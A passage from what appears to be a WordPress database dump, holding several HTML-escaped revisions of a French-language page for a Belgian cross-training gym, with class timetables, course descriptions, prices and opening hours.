style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:24:45', '2013-07-03 17:24:45', '', 11, 'http://www.crosstrainingcenter.be/?p=184', 0, 'revision', '', 0),
(189, 1, '2013-07-03 17:38:00', '2013-07-03 17:38:00', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h4&gt;En semaine :&lt;/h4&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h4&gt;Le week-end :&lt;/h4&gt;\r\n\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:38:00', '2013-07-03 17:38:00', '', 11, 'http://www.crosstrainingcenter.be/?p=189', 0, 'revision', '', 0),
(188, 1, '2013-07-03 17:35:03', '2013-07-03 17:35:03', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h4&gt;En semaine :&lt;/h4&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h4&gt;Le week-end :&lt;/h4&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;&lt;/td&gt;\r\n&lt;td&gt;LUNDI&lt;/td&gt;\r\n&lt;td&gt;MARDI&lt;/td&gt;\r\n&lt;td&gt;MERCREDI&lt;/td&gt;\r\n&lt;td&gt;JEUDI&lt;/td&gt;\r\n&lt;td&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;td&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td&gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;td&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 